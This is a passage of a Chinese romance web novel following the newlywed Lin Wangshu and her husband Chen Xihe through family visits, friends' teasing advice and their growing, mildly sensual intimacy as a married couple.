孟惠点点头,将自己这个想法纳入考虑范围,觉得可行。又暗自在心里数落陈羲和一番:结婚这么久才说,一切都这么突然,不能好好迎接望舒,真是委屈她了。
23. 末尾的狮子座
孟惠这一折腾下来,林望舒都快不记得她到底给自己忙起来多少件衣服了。最后还是林望舒说自己实在累了,她才没再强求,开始逛着给自己看看。
趁着这个间隙,陈言臻和林望舒坐在一起聊天。
“是不是还不习惯我妈这样?”陈言臻挽着林望舒的手,给她解释说,“她人就这样,特别喜欢逛街买衣服,不仅自己要买还要给家里其他人买。有一次还去给乖点买衣服了。”
“是么!哈哈哈哈阿姨真的好喜欢购物啊,感觉她一逛街就变得特别开心。”
陈言臻笑着说上,忽而又想到什么,拉着林望舒继续道。
“之前有一次,我哥高中那会儿跟妈妈说不用给他买衣服了,还说她选的衣服不好看。可能是他叛逆期吧,他从小到大就特别喜欢黑白灰,我妈觉得他死气沉沉,就给他买很多巴胺的衣服哈哈哈哈哈,然后他衣柜全是五颜六色的。”
林望舒和陈言臻两个笑得前仰后合。
她几乎能想到陈羲和整个人的表情,肯定是那种无语板着脸的样子。还是高中的陈羲和,那小大人的模样也很好笑。
陈言臻又用手肘抵了抵林望舒,促狭看着她说:“我哥小名还叫“闹闹”。”
闹闹?
“为什么叫这个呀?”
“哈哈哈哈哈,因为我妈觉得他小小一个就老陈古板的很,他太冷了,就希望他活泼闹闹的样子。”
“原来这样,这个名字还挺可爱的。”林望舒也笑了,感觉小时候的陈羲和配上“闹闹”这个名字也怪可爱。
“昨天晚上我和他说,你的小名叫臻臻,那他的呢,结果他怎么都不肯告诉我,原来是叫这个呀。”
“那他肯定是觉得闹闹听起来太丢人了。毕竟吧,他们狮子座,都很爱面子!”
林望舒默默补上一句:更何况还是最末尾的狮子。
她之前看到过陈羲和身份证,生日在八月二十二日,狮子座的最后一天。刚好今年生日是在下周五。
林望舒偷偷纠结了好久不知道送他什么,感觉他什么都有了,什么都不缺,网上线下,逛了又逛都找不到合适的,实在是为难。但现在终于有个现成的人在眼前可以问了。
“臻臻,你知道你哥有什么喜欢的东西吗?我想着他生日快到了,准备送礼物给他的,但一直没想好送什么。”
陈言臻心直口快说:“他喜欢你啊,你把自己送给他就行。”
林望舒脑袋轰的一下要炸掉了,一下子皮肤泛红甚至蔓延到了脖颈。
这个“送”还能是哪种送?是她想的那种吗?陈言臻怎么青天大白日说话这么露骨,还这么面不敢色。
瞧见林望舒这个反应,陈言臻自知还是自己太开放了。林望舒估计面子还薄,感觉尴尬来着呢。
她干笑两声,正儿八经地回答了她的问题:“其实吧,我哥是什么都不缺,想要的他自己就能得到了。但我觉得心意最重要,更何况你是他喜欢的人啊,随便做点什么,买点东西他都会很开心的。当然要是和他亲密一下他肯定会更开心的。”
不过看林望舒这个反应,她估计哥嫂两个还没做过呢。哎,毕竟不是正常夫妻的恋爱顺序,没做过也正常。好吧,我哥还是得看我才行啊,真是为了他们两个操碎了心。
陈言臻在这疯狂撮合:“你不用害羞!这都是很正常的事情,我跟你讲就刚才买的那个红裙,你明天穿上,然后略施小计撩拨一下,撒撒娇什么的,他绝对会忍不住的!”
至于忍不住什么,陈言臻没细说,他们小情侣该有自己的节奏,她也只能推波助澜到这儿了。
林望舒脑子晕乎乎的点头,也不知道她听进去了没有。
半下午间,孟惠总算是累了打算回去,正好老爷子应该也到家了。
提起陈老爷子,陈介元,外人都惧怕不已。
他在当时腥风血雨中夺得陈家资产,一手建立起了陈氏集团。可谁又知道,当初他还只是个陈家遗失很久,流落在外的孩子。原因至今不明,但根据当时陈家内部的斗争来说,和叔伯几家脱不了干系。
他从小就出来打拼,在几个小城市干活打工。直到被人找到,带回了陈家。那时也不过十六岁,谁人都想偌大一个陈氏又怎么可能交给这样一个从外面长到这么大还什么都不懂的孩子手里。但在面对这些质疑,陈介元用实力一步步让董事会折服。扳倒了其他几家,铲除了他们对公司盘根错节的控制。
至此也再没人敢置喙此人。
知道这一点点过往的林望舒才见到他,还是有点怵的。走进来看到坐在正中间的陈介元,他不怒自威,穿着板正的西装,一只手张着拐杖,年逾七十还是容光烁然。
林望舒感觉气氛有点严肃,不觉得放轻了呼吸。
看到她们回来,陈羲和走到了林望舒身边把她的包放在一边去,握住了她的手,牵到陈介元面前去。
“这就是小舒?”陈介元问。
“爷爷您好,我是林望舒,羲和的妻子。”
陈羲和还是第一次听到他这么叫他,有些新奇地看了她一眼,在这么个严肃的场合显得格外突兀。
林望舒暗自用劲,紧握陈羲和的手。他怎么现在还这么不正经!
陈羲和会意,老老实实听她话,站在她旁边不动了。
陈介元点点头又问了林望舒几句很平常的话。
“爷爷,你别吓人了。”陈羲和在一旁忍不住了,毫不给他面子地拆穿。
林望舒不明所以间就看到陈介元吹胡瞪眼看这陈羲和:“臭小子!我还没说什么,就吓到你媳妇儿了?耙耳朵。”
陈言臻也出来说话了,嘀嘀咕咕:“你不也是个耙耳朵吗?”
他瘪了瘪嘴,胡子扯得平直,敲起自己的拐杖,恨这个打不到陈言臻身上。
怎么都……这么敢开玩笑了?就林望舒一个人蒙在鼓里。
“好了,他装的,爷爷很好说话。”陈羲和解释道。
陈介元自然听到了陈羲和这番话
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,也不装了,笑眯眯看着林望舒,真是越看越满意啊。刚刚有点吓唬她的样子,没想到还是这么从容有礼,难得哦。
趁着其他人不注意,偷摸拿出手机给爱人宋佳玲发微信。
【替你看过了,孙媳妇真真好啊,你肯定喜欢。旅游什么时候回来,一起见见她。】
【这都多久没见了。】
宋佳玲此刻还在国外和艺术团一起旅游,并没有马上回复他。
陈介元这话里话外丝毫不掩饰自己想念宋佳玲了。
如果用陈介元的话术来说就是,男人只有不要脸才能留住一个女人的心。
是真理,陈羲和首肯的。
晚饭也是其乐融融一片,陈介元这人完全没有一点架子,和谁都能聊起来。
只是又开始骚扰宋佳玲了。
趁着热闹,以为无人在意的他对着聊天框空空如也的左边,发了一条语音:“孩子们都成双成对啊,就我是一个人。你什么时候回我消息……”
同样是一个人的陈言臻:……不是,我招谁惹谁了?
*
想着第二天就要上班的林望舒老早收拾好上床了。
才洗漱好,身上还有点热。她就这么大叉叉趴在床上玩手机,时不时翘起腿晃来晃去,在灰白色的床单上更显皮肤白皙。
陈羲和走进来就看到这样一幕。
视线顿住,再移开。没有惊动林望舒一分,拿好衣服进了浴室。
她刚洗完澡,浴室温度还很高,白色雾气弥漫,让陈羲和看不清镜中的自己。这么久以来陈羲和也是发现了,林望舒洗澡水温开的很高,每次他去用时打开都觉得她洗的很烫。
这次也一样,但莫名觉得比之前更燥热。
呼吸沉闷,热水难耐。
他继续把水温调低,带着凉意的水透过肌肤,缓解了适才的一点点燥热。他一只手撑着墙壁,另一只顺着水流方向向下……陈羲和放轻动作,一遍遍想理清思绪,但脑中的画面一直挥散不去。
堪堪遮住大腿根的睡裙,如脂如玉的皮肤,还有她披散着头发,隐隐露出的圆润的肩头。
明明之前也见过,但就今天让他如此失控。
儿此刻外面的林望舒就高兴得多了。
她正在跟陈悦视频,美美约好了下次见面去哪玩了。两人聊了聊各自的生活,林望舒想起白日里和陈言臻谈起的话,打算也再问问陈悦。
“陈羲和生日马上就到了,我想了很久到底可以送他什么礼物都没什么思路。只是一些小东西和那天该有的仪式感我想好了,但其他东西选了很久感觉都不太合适。悦悦,你说还能送什么啊?”
林望舒趴在枕头上,两手交叠垫在下巴下面,晃着脑袋微微皱眉叹气,好一副忧思伤神的模样。
陈悦思考了半晌,问出了第一个问题:“夫妻间送礼物嘛那可不同了。我得先问问你们的进度了,到哪步了?”
“啊?什么哪步?”
“做.爱了吗?”
24. 起床气
—“做.爱了吗?”
林望舒赶忙把手机倒扣在被窝里,把音量调到最小捂紧,悄悄打量浴室那处。没见里面的人有什么动静,才吐出一口气放下心来。
不是,她们怎么都说的这么大声!一个臻臻一个悦悦。
“你小声点!他还在房间洗澡呢。”林望舒稍微缓了缓,神经紧绷一直注意着陈羲和那边的动静,又说道,“我们……还没呢。”
陈悦故作思考问道:“你们结婚多久了?差不多一两个月了吧?”
林望舒点点头,补充:“我们就……昨天晚上接吻了,第一次接吻。”
同床共枕这么久了,昨晚上才接的吻?
陈悦若有所思,不太明白这两人。领着证,合法搞暧昧玩纯爱?还是要柏拉图?林望舒不是还一见钟情了吗?怎么对她老公一点欲望都没有。
陈悦啧啧两声说道:“那他有表现出来想和你做……”
在察觉到林望舒不善的视线后,陈悦刹住车连忙改口道:“咳咳,亲近的样子吗?”
有吗?林望舒也不确定,他平时也很克己复礼,平常甚至连情绪起伏都不会很大,只好几次总想逗她,偶尔嘴上不饶人的呛她几句。
但昨天那个吻……是他亲的她,况且后来被臻臻打断了,他还有点欲.求不满……而且林望舒不得不承认,当时的自己好像也有点。
“应该可能,大概是,有的…吧。”
陈悦远在对面朝着屏幕翻了个白眼,这不说了等于没说吗。
“根据我‘’悦·情感大师·陈’多年以来看小说的经验来看,大师初步判断一下,你老公不是个性冷淡就是那方面不行。哎,你个呆子!早说了结婚前要验货,你以后的“□□”怎么办啊!”
听到了“老公”二字,林望舒真有点不习惯,她还没叫过呢。林望舒埋着头听对面陈悦的喋喋不休,但耳朵越来越烫,感着这两个字目前对她来说有点超过了。
但除此之外,林望舒倒是没什么太大的反应。其实她认为结婚也不一定是为了“性”,至少她可以不是。目前来说她对这方面还没有很强烈的欲望,陈羲和是不是性冷淡也无关紧要。只是,可以不是为了“性”,但不能没有……
如果陈羲和是不行的话,那她得想想以后怎么做才好了,毕竟可能需要维护一下他的自尊,男人对于这方面总是这么敏感。
林望舒这般思考的如此长远,忽而冒出个想法来:“但有没有一种可能是他觉得我们之间还太快了,怕吓到我呢?”
“有吧,但这种应该只存在与一二次元,三次碳基男我是不敢奢望。”
行吧。
“哦。”
陈悦看林望舒神情恹恹,思来想去觉得这也是种可能。陈羲和看起来也和一般那些男人不一样。
安抚着回道:“其实你说的不无道理。我觉得呢,可意先稍微勾勾你老公呗。你总得给对方一点想往亲密点进程发展的意愿啊。况且你长这么好看,身材还这么好,还是合法夫妻,正常男人还能忍住吗?他是不是不行也就试探出来了。”
这番话林望舒是真的听进去了,听着陈悦说,她还打开备忘录记了记细节和好用的点子,说道:“好,等我计划计划。”
不出意外的,这次洗澡花了陈羲和平常几倍的时间。
林望舒和陈悦聊的火热,丝毫没在意陈羲和什么动静,直到他打开浴室的门走了出来。这次他穿的浴袍,从发丝蔓延而下的水渍没入衣领,寻觅不见。
他抬起手握着帕子擦拭头发,因他的动作浴袍袖子往下滑落了几分。冷白修长的手指,指骨突起,才洗完澡手上青色血管明显,从手背蜿蜒至小臂,再向深处隐没……
林望舒咽咽口水,觉得房间闷闷的有些燥热,去旁边的桌子上倒了杯水喝。
她这次没再好心地帮他吹头发。毕竟上一次……不管这次出于什么目的帮他吹头发,都感觉像是什么暗示。
喝完水后林望舒强行让自己视线忽略陈羲和,上床背过身闭眼睡觉。
没一会儿房间内响起吹风机吹动的声音。明明自己离的很远,但林望舒还是感觉那风声就在自己耳边似的,挥之不散。
强行闭眼入睡失败,满脑子都是陈羲和的样子,脑补着他的手指一点点蹭过头发,回想起昨天给他吹头发的一景一幕……
好了更睡不着了。
林望舒平躺着调整呼吸,睁开眼看着天花板发了会儿呆。忽而她意识到今晚本来是问陈悦可以送陈羲和什么礼物的,怎么扯到夫妻感情上去了?
最后林望舒还是把床头的手机拿了出来,打算继续翻翻看看送什么礼物。屏幕亮起就是适才的微信界面,林望舒莫名的点开置顶的聊天框。
除了工作上必要联系客户外,林望舒基本没有给别人备注的习惯,现在那上方还显示着“时序”两个字。
也不知道是不是晚上陈悦那几句话起了作用,林望舒鬼使神差地点开备注栏,把给陈羲和的备注改成了“老公”。
退回来看着聊天记录,但这两个字实在太刺目,林望舒都能幻想出自己叫他的样子,实在是太羞愤了啊啊啊啊啊!她正想着改回原来的,陈羲和已经关掉吹风机走了过来坐上床。
林望舒感觉陈羲和视线落在她身上,不敢再有什么动作,忙把手机熄屏放的远远的。
“心虚什么?看什么见不得人的了?”
“没有!”林望舒立马反驳道,颇有种此地无银三百两的感觉。
林望舒平躺过身来,整个身体裹住被子一动不动,眨着圆溜的眼睛看他。陈羲和还想说的话卡壳了,也跟着顺势躺了下来。
中间留有一点空隙,身边人的存在感很强。不知道是不是那个吻起了效果,两人变得特别不自在,不像之前睡前可以自如的拥抱晚安。
最后还是陈羲和打破了沉默:“明天早起晨跑?”
林望舒差点都忘了早上夸下海口说要和他一起健身了。
“好。几点起呀?”
“你可以晚一点,七点。”
救命啊啊啊啊啊,原来七点起床都是晚了。
“哦好吧,那我要早点睡了,晚
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安。”
林望舒说着睡觉,没一会儿呼吸就平静下来,显然已经熟睡,真就几分钟入睡了。
陈羲和就在她旁边躺着,侧过身看着她想,她怎么每天都睡得这么香啊。
但陈羲和的嘴角又不受控地上扬,就像这种平静的夜晚,普通的不能再普通的时刻,只是这样看着她,他就能感到很幸福了。
有了林望舒的存在,他才忽然发觉以前自己身边是那样的死寂,原来日子还可以这样鲜活。
陈羲和伸出指尖碰了碰林望舒鼻子,点了点。熟睡的人根本没一点反应,还是那样直挺挺躺着,一动不动。
“你怎么睡觉总是这么老实。都不舍得靠近点抱抱我吗……”
可熟睡的人怎么会给他回复呢?
说完陈羲和轻手圈住林望舒腰身,自己靠过去凑近把林望舒抱进怀里,低头在她发间落下一吻:“晚安。”
……
“起床了。”声音就在耳边回响,但林望舒一动不动。
不一会儿,她又迷迷糊糊听到了有人在叫她,但她丝毫没有力气回应,意识抽离一瞬又马上回拢继续睡去。
床上的陈羲和看了眼叫不起的人,打算先自己去洗漱让她多睡一会儿。
等陈羲和把手上事情都弄好后再来卧室,发现林望舒和他刚刚离去的样子别无二致,连位置都没有偏移半分。睡得很沉,还是不打算起的样子。
思想斗争几分,陈羲和还是决定叫她起床。
“月月起床了。”
林望舒不动。
“快一点起床,出来晨跑。”
依旧不动。
直到陈羲和捏住了林望舒的鼻子……
呼吸被扰乱,窒息感袭来。林望舒皱眉睁眼,就看见陈羲和在她床边站着。她动手拍走他的手,含含糊糊说:“我要再睡会儿,你别烦我了。”
就知道她要赖床,陈羲和没打算听她的。
他掀开被子俯身把林望舒捞了起来,面对面抱着,林望舒虽然不清醒但感觉重心不稳,下意识地她腿环着陈羲和腰身,手臂也圈住了抱他的人。
陈羲和稍低头看面前的人,温柔说:“怎么还不想起啊,嗯?”
林望舒摇摇头睁开漂亮的眼,又缓缓闭上,低喃一句:“不要起。”
陈羲和托着她的腰准备下床朝外走,摇摇晃晃的,林望舒不满意了。她再次睁眼看着陈羲和,圈着他的手臂更紧了,阻止他的动作。
“林望舒,你还……”
林望舒忽的凑近,一个轻柔的吻落在了陈羲和侧脸。她眨巴眨巴眼睛,眼神还是朦胧迷糊:“不要,老公我还想再睡会儿嘛。”
陈羲和愣神间,林望舒麻溜的从他身上下去,倒在床上裹住被子,只留出一张脸来,继续睡觉。
她早上没睡醒声音黏糊糊地,有点颗粒感的沙哑,就这样脱口而出的“老公”二字,震的陈羲和发懵。
心跳声掩饰不住,在安静的房间内尤为明显。渐渐反应过来的陈羲和看着熟睡的人低笑一声:“这次是你主动的。”
25. 炫耀
林望舒再次醒来,是被自己的闹钟闹醒的。她还是和往常一样的步骤,先坐起在床上发愣。
脑中有几个画面不甚清晰。好像早上陈羲和叫她起床来着,但是她又睡过去了。
然后就是她后半觉的梦:
早上她抱着陈羲和亲他还叫他老公,但他没有被自己诱惑到,还是特面无私的把自己叫起来跑步。梦的后半程没有很清晰,只知道,她不知怎么又开始了她的“计划”,晚上撩拨陈羲和去了,还又勾着他亲他的唇。
反正就是她睡得不是很好,现在脑袋迷糊分不清现状了。
林望舒用被子蒙蒙脸,想着,怎么还做这样的梦了。
直到有点透不过气,林望舒才抬起头,不知道是缺氧导致还是被自己的梦臊的,她脸红扑扑的,就连眼尾也有些红。
哎,待会儿该怎么面对他啊……
林望舒纠结了一会儿,还是选择起床。
路过衣柜,不知怎么的,她想起了陈言臻说的那句话:就今天买的这个红裙,你穿上稍微勾勾我哥,他绝对忍不住。
鬼使神差,她把这件从衣柜里拿了出来换上。
等到她洗漱完坐到饭桌前,装得面不改色什么都不知道的样子。只是盲目的低着头吃饭,尽量避开陈羲和的视线。
但反常的是,陈羲和今早就在她出来的时候看了看她,然后也默契的低头吃饭不看她了。
孟惠觉得奇怪,怎么昨天好好的两人今早上这么疏远了。左右打量无果,问了出来:“你们怎么不说话,奇奇怪怪的。”
突然被提及到的林望舒脑中又浮现出那些画面……突然她喝牛奶被呛了一下:“咳咳咳。”
陈羲和赶忙放下东西拍拍她的背给她顺气,然后他才回孟惠,“我们是食不言,寝不语。”
孟惠嘴角一抽,觑他一眼,懒得和他争辩。
这鬼话谁信啊?已经敷衍的不能再敷衍了。
大早上就这样度过,林望舒终于松了一口气,可以去上班了,她从来没有这么想去上班过。
照例,还是陈羲和送她去公司。
陈家离的稍远一点,开车还需要好一会儿,林望舒干脆在床上补觉。
她坐在副驾驶歪着头靠向车窗外那一处。一路上只听得到汽车行驶的声音,车内安静一片,无人开口。
林望舒是因为想逃避和睡觉,陈羲和则是被那个吻迷的晕晕乎乎。
还是同样都十字路口,林望舒让他停在那处。
陈羲和看她匆忙拿包走掉,头都不回一下的样子,忍不住心里蛐蛐一句:我就这么见不得人。明明是持证上岗,但总觉得像偷摸的地下情人。
当然林望舒跑那么快不是因为要逃避开,而是她真的要迟到了!
她穿着红色吊带长裙,配了一个西装外套,倒不会显得随意。
虽然制航科技并不会要求员工多么多么的严肃,每天穿工作服西装领带的,只要穿着得体即可,在企业文化和体恤员工这块,制航确实名列前茅。
回到工位她先去洗手间补了一下妆打理一下头发。刚刚跑过来实在是太匆忙了。
然后她就开始看几个实习生做的报告,一点点批注错误和改进方法。一上午就这么慢慢过去了。
“望舒姐,你今天穿的这身真好看。”说话的是宋媛,一个林望舒带的实习生。
程旭刚好走过,也迎合着,满脸惊色地夸她:“确实!和你平时很不一样,很好看。”
林望舒被夸的笑了笑,和他们打趣了几句,回到位置上。
话毕,宋媛则走去改文件了,只剩程序还待在原地。
林望舒看他还在这儿,问道:“是还有什么事吗?”
“望舒姐今天穿这么好看是有约会?上次那个男生是你男朋友吗?”
似乎有点震惊他问的私事,不过林望舒没觉得很冒昧,反正她一直也没有刻意隐秘陈羲和的存在。
“他不是我男朋友,他……”还没说完就林望舒电话响了,她拿起一看,是陈羲和。
她指了指手机说道:“我先去接个电话。”
林望舒走开后,程旭微不可察地笑了笑。
原来不是男朋友啊。
“林望舒,说句话。”
她疑问了一下,又拿开手机看了看,确认是陈羲和后,再回道:“怎么啦?”
“今晚上几点下班,我来接你回家。”陈羲和加重了“回家”两个字,但对面的林望舒没太注意,只觉得他今天好奇怪,她一般都是同个时间段下班的,有特殊情况要加班都会提前给他说。
“还是五点。”
她一说完,对面传出一阵喧闹。
“我靠,你真结婚了?”
“我靠陈羲和,什么时候的事?”
“你故意来找我们炫耀的?”
……
一个小时前。
陈羲和再一次在几人小群里冒泡发消息。
【来我公司?跟你们说个事。很重要的事。】
景承熠:【?】
江屿:【?】
宋明煦:【?】
反正景承熠和宋反正没事做,紧跟着就来了至臻集团。江屿倒不是很有空,但还是抽出时间把工作做完去见陈羲和了。
等到江屿到了办公室,坐着的两人觑了陈羲和一眼。
“现在可以说了吗?陈大公子。”
江屿还没到时,陈羲和还卖关子的对他们两人说,“等人到齐了我一起说。”
江屿不以为意坐下,和几人在一起。
就当三人热闹聊着,陈羲和突然冒出一句:“嗯,前段时间我结婚了,现在你们可以恭喜我了。”
然后陈羲和就看到了三个问号脸。
景承熠呛他一句:“骗鬼呢?你还结婚,相亲也就没多久前啊。”
宋明煦也在旁迎合:“就是就是!”
江屿看着他不说话,表情却是不信的模样。
“怎么证明?打电话行吗?”
然后就出了刚刚那一幕。
林望舒不知道发生了什么,还在蒙圈。
陈羲和没管剩下几人,对林望舒说:“不用管他们,晚上来接你。”
下班陈羲和接到林望舒后,两个人都不太饿,就在外面草草吃了个简餐。
车上,林望舒不知道在想什么,拿着手机敲敲打打,删删改改不知道写着什么……看起来似乎还很忙。
陈羲和视线从她微蹙的眉扫过,落到她小巧的脸庞……
她没太在意形象的坐着,西装外套在她上车的时候就扔到了后座,此刻内里就是一身吊带长裙。她侧着身倒在一边,细带不知怎么滑下半截,露出圆润的肩头,但她太过专注,根本没意识到。
陈羲和薄唇轻抿,喉结滚
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动侧过头去,没再打扰。
路上稍微有点堵,四十多分钟后回到了陈家。彼时其他人也差不多吃完饭了。
休息两天后再投入到工作中,总是让人没办法专注。更何况今天还是死亡周一,林望舒还是跟上学时一样觉得烦躁。
她简单和众人打完招呼就准备回房间了。
从客厅走上二楼这一路上,林望舒一直在想着事情。她兀自思考,又否定了其中几个步骤,觉得哪哪都不合适,纠结着不知道该怎么办才好。
神游之外,根本没注意顺着她的步伐,陈羲和也跟在后面。
她低头慢慢地走,陈羲和也没打扰她,一直看着她的背影,陪她慢慢踱步。林望舒还没思索出个结果,就走到了房门口,侧身打算推开门,这才发现陈羲和一直在身边。
估计他也累了,她想。
林望舒没细问,推开门走了进去。
她一进门,身后的门被后来的人重重关上。
林望舒正觉得奇怪转身看他,就被陈羲和抱了起来。
他屈身站起,一手拖住她的腰一手掌着她大腿。陈羲和肩宽窄腰,而林望舒在他面前更显娇小一点,她此刻完全被他扣进了怀里。
陈羲和将林望舒放在了一旁的柜子上,垂眸看她。
林望舒方才一惊,赶忙抱着陈羲和的肩,重心不稳,脸顺势埋在他颈肩。
柜子刚好在陈羲和胯骨的位置,林望舒坐上去基本能和陈羲和平视。
只见,今晚一直看着的人,此刻眼神不甚清明,带着一种林望舒从未见过的欲.色。四目相对,陈羲和就这么直勾勾看着她。
“你怎么了?”林望舒问。
陈羲和握着她腰的手没动,另一只放开她大腿,抚上了林望舒后颈。声音低沉沙哑,不急不缓地说:“你今天……是不是忘了什么?”
忘了什么?林望舒不知道。但看着陈羲和这个样子好像是很重要的事情,于是她竭尽脑汁地去想,但最终也没有什么答案。
陈羲和见她样子不假,心想:她果然是忘了。以前还是若有若无的撩.拨,现在就是光明正大调.戏后,还翻脸不认人的给忘记了。
他手缓缓移到林望舒前面,碰碰她的唇,以示提醒。
她的嘴?今天和她的嘴有关的只能是……今早上的梦。梦?难道那不是梦?
她今天早上就那么抱着陈羲和亲还叫他……老公了?
顿时,林望舒耳根红透,但她强装镇定,狡辩道:“你在说什么啊?我怎么听不懂啊。”
“看来是……忘了?”陈羲和将林望舒的反应尽收眼底,这点小把戏他自然是看穿了,配合着回答。
林望舒迟疑的点点头,准备继续开口,却被陈羲和打断:“没关系,我替你回忆回忆。”
不待林望舒反应过来他这话什么意思,陈羲和的脸就在她眼前骤然放大,他毫无预料地靠近,挡住了林望舒视线内仅有的光。
林望舒背对着房间的灯,她清晰看清楚了陈羲和的表情。
眼睛微眯,略过她的眼一直往下,最后停在唇上。
一切不过几秒钟,但在她眼里却成了慢放的电影。清晰明了,能够看清他每一个动作神情。
陈羲和粘稠的呼吸喷洒在林望舒脸上,因着这温度,她双颊肉眼可见的红了。
呼吸缠绕,双唇贴上的那一刻,林望舒全身发麻。
26. 舔舐
昏黄的角灯斜下照在林望舒身上,沿着两人相贴的缝隙透过,爬上陈羲和的肩膀。迷蒙之中,林望舒眼睫忽闪,不聚焦的看着身前那人。
陈羲和的鼻尖就贴在林望舒右边脸颊,呼吸的热气毫无保留的蔓延至林望舒本就绯红的面庞。陈羲和的鼻尖带着点凉意,冰凉的缓解了林望舒的燥热。
肌肤相贴,两人身体都本能的颤抖一瞬。
陈羲和试探性的蹭着林望舒唇角辗转了一下。她被动的跟着陈羲和的动作,两唇紧密相贴,没表现出反抗。
不同于上次缠缠绵绵的吻,这次陈羲和吻得又急又狠,甚至还带了些惩罚的意味。
林望舒不自觉的往后退,双手撑着后方的柜面,但下一瞬又被陈羲和捏住后颈,靠近过来贴上他的唇。下巴被他挑起,林望舒仰起头承受着他来势汹汹的吻。
两人呼吸缠绵滚烫,灼烧着唇,连这吻都带着热气。
林望舒晕乎乎的睁开眼看他,可视线中蒙上一层水汽,眼神朦胧迷离,总是没办法聚焦。她看着陈羲和遮挡落下的阴影,恍恍惚惚,双手盘住他的肩。
她不明白事情怎么发展成这样了,明明一开始只是他在“质问”……
似乎察觉到林望舒的不专心,陈羲和稍稍退开,抿住林望舒的下唇,一点点磨,牙齿磕在她的唇上,缓缓移动,时不时舔舐着咬了咬,他哑声说:“专心点儿。”
说完又整个唇贴上吻了下去。
林望舒被他箍在怀中,仰头的姿势久了有些累,她想退开但被陈羲和控制住动弹不了。
林望舒混沌的大脑渐渐明朗过来。
早上我明明只亲了他的脸!
现在这人却勾着她反反复复接吻。
满打满算这也只是林望舒第二次接吻,上次的分明只是贴了贴唇,也没吻这么久,这么深入,更何况她实在是不知道该如何换气……
林望舒只觉得自己的呼吸完全被陈羲和掠夺、掌控,他的吻密密麻麻,林望舒完全找不到机会去呼吸。
两个贴着的唇瓣水润光滑,房间内空气黏黏糊糊,气温直线上升。安静的卧室,时不时传来接吻的“啾啾”声,令人脸红心跳。
终于在陈羲和稍微分开的瞬间,林望舒抓紧这个空隙,偏过头喘气。
不过,失去目标的人,迅速寻觅到了下一个地点。
陈羲和的吻从林望舒的唇移至她的下巴,缓缓地小口啄,似乎是在安慰。但却不老实的持续往下,从她脖子一直亲到锁骨。
林望舒才稍稍平静下的呼吸又乱了,她受不了这种刺激,缩着肩膀,但锁骨随着她的动作凹陷更深,在白炽灯的光下,白皙耀眼。随着林望舒渐重的呼吸,一缩一缩,无声等待着被人采撷。
林望舒只想紧绷着身体,殊不知这个动作更取.悦了面前的男人。
他头埋在她脖颈,鼻尖顺着她的呼吸一点点蹭过裸.露在外的肌肤,唇却细密温柔的亲着她的锁骨。
倏地,林望舒嘤唔出声。
两个人皆是一怔,陈羲和停下动作。
林望舒没想到自己会发出这样的声音,陌生,奇怪,让她羞于见到面前的人。她不好意思的抬起一只手,用手抵住唇,颤颤索索地咬着手背的肉,忍耐着。
察觉到她的动作,陈羲和只是亲吻的动作稍微停止,随即继续磨.蹭她。
他把林望舒的手拿开,握着她的手腕贴在自己前胸,声音含糊的对她说:“别咬,叫出来。”
他怎么…这样啊。
唯一的屏障被拿走,林望舒无地自容,喘着气质问他:“我明明…只亲了你的脸,没接吻……”
“哼…”陈羲和轻笑出声,林望舒滚烫的皮肤感受真切。
“原来还记得啊。”
完蛋了……说漏嘴了。
陈羲和直起身来,炽热的目光毫不避讳地看着她。他神情专注,只是眼尾的猩红看起来有点不正经,但更不正经的是他接下来的话:
“那看来是我记错了,现在补上。”
然后又贴着她的脸亲了亲。
他的唇还是那般湿润温热……
吻印上林望舒脸的那一刻,她害怕再这样下去陈羲和今晚收不住了,忙推开他说:“我去洗澡了。”
跳下柜子那一刻,腿软得根本使不上劲,直直向一旁倒去,最后还是被圈进了那个熟悉的怀抱。
陈羲和注视着她的一举一动,环住她的腰,抱了过来。
“慢点儿啊你。”声音还是那么轻佻。
林望舒暗骂一句会好烦啊,确认自己适应过来了,就推开他往衣帽间那边走去。
林望舒越想越气,从衣柜里拿出睡衣和换洗衣服的动作都比平时的大,最后走出衣帽间直直把几件东西扔在了床上,坐下。
陈羲和分明就是故意的!他明明自己就记得!
啊啊啊啊啊好烦!
实在是受不了了,林望舒没管其他的,走进浴室洗澡。好长一段时间,身上的燥热都没缓解,她也不知道这个反应正不正常……然后又痛快的骂了陈羲和一句。
门口的陈羲和忽的打了个喷嚏。他不自在的摸摸鼻尖,放空大脑回想着适才的一切,仿佛唇角的香甜还留有余味。
也不知道是不是想刻意回避,林望舒磨磨蹭蹭都始终没有出来。
陈羲和往床边走去,就看到了林望舒放在床上的睡裙……当然还有些其他的衣服。
恰在这时,浴室里她闷闷的声音传来。
“陈羲和?你在吗?”
他假装不知道发生了什么,一本正经的回答:“我在,怎么了?”
“我…床上的衣服往忘拿了,你能帮我拿一下吗?”
“好。”
室内又陷入沉默。
林望舒披着浴巾站在门口等待,直到门被敲响,她才微微打开门露出半张脸来,尴尬的对陈羲和笑笑,便不再看他,带着浴室的雾气,林望舒伸出一只白里透红的手来。
她接过后,“砰”的一声关上了门,就像身后有洪水猛兽似的,生怕陈羲和会进来。
陈羲和:“…
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…”
他也不走,等待着林望舒接下来的质问。
“陈羲和?”
“嗯?”
“你还有衣服没拿给我……”
林望舒鼓起脸看手上的衣服,只有睡裙和内裤。她明明把内衣内裤叠好放在睡裙里面的,不可能是没注意拿漏了。
“嗯,穿着睡不舒服。赶快出来吧,给你吹头发。”
果然是故意的……
陈羲和最开始根本没注意她是不是穿了内衣,直到后面抱着她睡觉,才感觉到的,原来她睡觉都是穿着的。
他不太清楚女生的这些事情,不知道这是不是正常的。起初以为她们都是这样的,等他发现后还特地去搜过,“女生穿着内衣睡觉有什么坏处吗?”。这才知道原来这并不舒服……还对身体不好。
当时的陈羲和反思了良久,是不是自己没有给林望舒带了安全感,她对自己一直心有戒备。毕竟两人本来也才结婚,不熟悉彼此。
但到后来,那天她给自己吹头的时候,陈羲和抱过去贴上前面那软绵之处,他才发现,哪怕穿着吊带她里面也套了一层抹胸。
他想可能是她还不习惯他的存在,或者直到那个时候,对林望舒来说,他们还没有熟悉到一定的程度,使她在自己面前根本放不开。
而最近,他在一点点攻克她的防线,他想或许现在变得不一样了。
林望舒还是呆呆愣在原地,其实说实话,她也不想穿,晚上睡觉很不自在,一点也不舒服。
她做了一下心理准备,毫无负担的穿好剩下的衣服走了出去。
睡裙不算贴身,她无比感叹今晚没有拿真丝吊带睡衣,不然……后果她有点不敢想象,总觉得他们现在两个人的情况,稍微擦枪就能走火。
陈羲和就和他刚刚说的那话一样,拿着吹风机在外面等她。但是林望舒本能的感觉他今晚上很危险。
